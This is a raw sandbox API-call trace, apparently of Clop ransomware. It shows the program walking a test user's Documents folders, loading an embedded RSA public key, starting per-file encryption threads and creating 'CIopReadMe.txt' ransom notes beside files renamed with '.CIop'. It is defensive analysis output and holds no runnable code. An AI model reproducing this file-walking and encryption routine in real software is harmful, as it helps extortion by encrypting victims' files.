lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0158.902] lstrlenW (lpString="desktop.ini") returned 11 [0158.902] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.902] lstrcmpW (lpString1="Favorites.vssx", lpString2="..") returned 1 [0158.902] lstrcmpW (lpString1="Favorites.vssx", lpString2=".") returned 1 [0158.902] wsprintfW (in: param_1=0x2dc7e00, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned 46 [0158.902] Sleep (dwMilliseconds=0xd) [0158.925] lstrcpyA (in: lpString1=0x2dc7248, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0158.925] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="Favorites.vssx" | out: lpString1="Favorites.vssx") returned="Favorites.vssx" [0158.925] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0158.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0 [0158.925] SetErrorMode (uMode=0x1) returned 0x1 [0158.925] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt") returned 56 [0158.925] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0158.925] CloseHandle (hObject=0x6d4) returned 1 [0158.925] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.925] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.925] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.925] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.926] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0158.926] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*" [0158.926] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.926] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="My Shapes" [0158.926] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Shapes" | out: lpString1="My Shapes") returned="My Shapes" [0158.926] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.926] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.926] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.926] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.926] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.926] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.926] lstrcmpW (lpString1="_private", lpString2="..") returned 1 [0158.926] lstrcmpW (lpString1="_private", lpString2=".") returned 1 [0158.926] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes" [0158.926] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\" [0158.926] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0158.926] SetErrorMode (uMode=0x1) returned 0x1 [0158.926] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0158.926] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0158.926] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\" [0158.926] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0158.926] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67db78 [0158.926] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0158.926] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0158.926] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.926] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.926] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0158.926] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0158.926] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0158.926] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.926] lstrcmpW (lpString1="folder.ico.CIop", lpString2="..") returned 1 [0158.926] lstrcmpW (lpString1="folder.ico.CIop", lpString2=".") returned 1 [0158.926] lstrlenW (lpString=".CIop") returned 5 [0158.926] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0158.927] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0158.927] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0158.927] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private" [0158.927] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*" [0158.927] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dbf8 [0158.927] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private") returned="_private" [0158.927] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0158.927] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.927] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.927] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.927] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0158.927] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0158.927] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0158.927] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0158.927] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.927] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.927] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.927] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.927] lstrcmpW (lpString1="My Videos", lpString2="..") returned 1 [0158.927] lstrcmpW (lpString1="My Videos", lpString2=".") returned 1 [0158.927] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0158.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0158.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0158.928] SetErrorMode (uMode=0x1) returned 0x1 [0158.928] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0158.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0158.928] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0158.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0158.928] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0158.928] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0158.928] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0158.928] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.928] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.928] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.928] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0158.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*" [0158.928] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0158.928] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="My Videos" [0158.928] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0158.928] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos" [0158.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\" [0158.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\", lpString2="_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0158.928] SetErrorMode (uMode=0x1) returned 0x1 [0158.928] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0158.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0158.928] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\" [0158.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0158.928] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0158.928] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0158.928] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0158.928] lstrlenW (lpString=".CIop") returned 5 [0158.928] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0158.928] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.928] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.928] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private" [0158.928] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*" [0158.929] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0xffffffff [0158.929] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Videos\\_private") returned="_private" [0158.929] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="_private" | out: lpString1="_private") returned="_private" [0158.929] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0158.929] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.929] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.929] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.929] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.929] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0158.929] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.929] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.929] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.929] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0158.929] lstrcmpW (lpString1="OneNote Notebooks", lpString2="..") returned 1 [0158.929] lstrcmpW (lpString1="OneNote Notebooks", lpString2=".") returned 1 [0158.929] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents" [0158.929] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0158.929] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0158.929] SetErrorMode (uMode=0x1) returned 0x1 [0158.929] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0158.929] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0158.929] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0158.929] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0158.929] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.929] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0158.929] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0158.929] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.929] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.929] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0158.929] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 1 [0158.929] FindClose (in: hFindFile=0x67e838 | out: hFindFile=0x67e838) returned 0 [0158.929] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0158.929] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*" [0158.929] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e838 [0158.930] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="OneNote Notebooks" [0158.930] lstrcpyW (in: lpString1=0x2dc7014, lpString2="OneNote Notebooks" | out: lpString1="OneNote Notebooks") returned="OneNote Notebooks" [0158.930] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.930] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0158.930] FindNextFileW (in: hFindFile=0x67e838, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0158.930] lstrcmpW (lpString1="My Notebook", lpString2="..") returned 1 [0158.930] lstrcmpW (lpString1="My Notebook", lpString2=".") returned 1 [0158.930] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks" [0158.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\" [0158.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\", lpString2="My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0158.930] SetErrorMode (uMode=0x1) returned 0x1 [0158.930] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook" [0158.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0158.930] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" [0158.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*" [0158.930] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e2b8 [0158.930] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook") returned="My Notebook" [0158.930] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="My Notebook" | out: lpString1="My Notebook") returned="My Notebook" [0158.930] FindNextFileW 